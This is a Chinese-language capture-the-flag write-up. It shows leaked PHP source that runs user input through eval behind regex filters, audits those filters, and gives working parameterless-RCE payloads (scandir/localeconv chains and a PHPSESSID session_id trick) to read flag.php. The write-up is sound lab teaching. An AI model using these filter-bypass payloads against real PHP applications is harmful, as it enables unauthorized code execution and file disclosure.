知识点

  • .git源码泄露
  • 无参RCE
    1. localeconv() 函数返回一包含本地数字及货币格式信息的数组
    2. scandir() 列出 images 目录中的文件和目录
    3. readfile() 输出一个文件。
    4. current() 返回数组中的当前单元, 默认取第一个值。
    5. pos() current() 的别名。
    6. next() 函数将内部指针指向数组中的下一个元素,并输出。
    7. array_reverse()以相反的元素顺序返回数组。
    8. highlight_file()打印输出或者返回文件中语法高亮版本的代码。

启动靶机

1. 访问题目

image.png

2. .git泄露得到源码

dirsearch扫出存在.git泄露,githack利用得到源码

  1. <?php
  2. include "flag.php";
  3. echo "flag在哪里呢?<br>";
  4. if(isset($_GET['exp'])){
  5. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
  6. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
  7. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
  8. // echo $_GET['exp'];
  9. @eval($_GET['exp']);
  10. }
  11. else{
  12. die("还差一点哦!");
  13. }
  14. }
  15. else{
  16. die("再好好想想!");
  17. }
  18. }
  19. else{
  20. die("还想读flag,臭弟弟!");
  21. }
  22. }
  23. // highlight_file(__FILE__);
  24. ?>

3. 代码审计

第一个if条件

  1. if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

常用的伪协议被禁了

第二个if条件

  1. if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

正则匹配,(?R)是引用当前表达式,(?R)?这里多一个?表示可以有引用,也可以没有。例如引用一次正则则变成了[a-z,_]+\([a-z,_]+\((?R)?\)\),可以迭代下去,那么它所匹配的就是print(echo(1))、a(b(c()));类似这种括号和字符组成的表达式,这其实是无参数RCE比较典型的例子。

第三个if条件

  1. if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

第三个if就过滤一些字眼。

4. scandir(pos(localeconv()))找到flag文件位置

  1. ?exp=var_dump(scandir(pos(localeconv())));

image.png

5. 得到flag

方法一:next(array_reverse())

array_reverse()以相反的元素顺序返回数组

  1. ?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

image.png

  1. flag{7ee0fae7-d2b9-4aa1-9d98-d6b9d643e8bb}

方法二:array_rand(array_flip())

  1. ?exp=highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

array_flip()交换数组的键和值
array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,本题目中scandir()返回的数组只有5个元素,刷新几次就能刷出来flag.php
image.png

方法三:session_id(session_start())

  1. ?exp=show_source(session_id(session_start()));
  2. Cookie:PHPSESSID=flag.php

image.png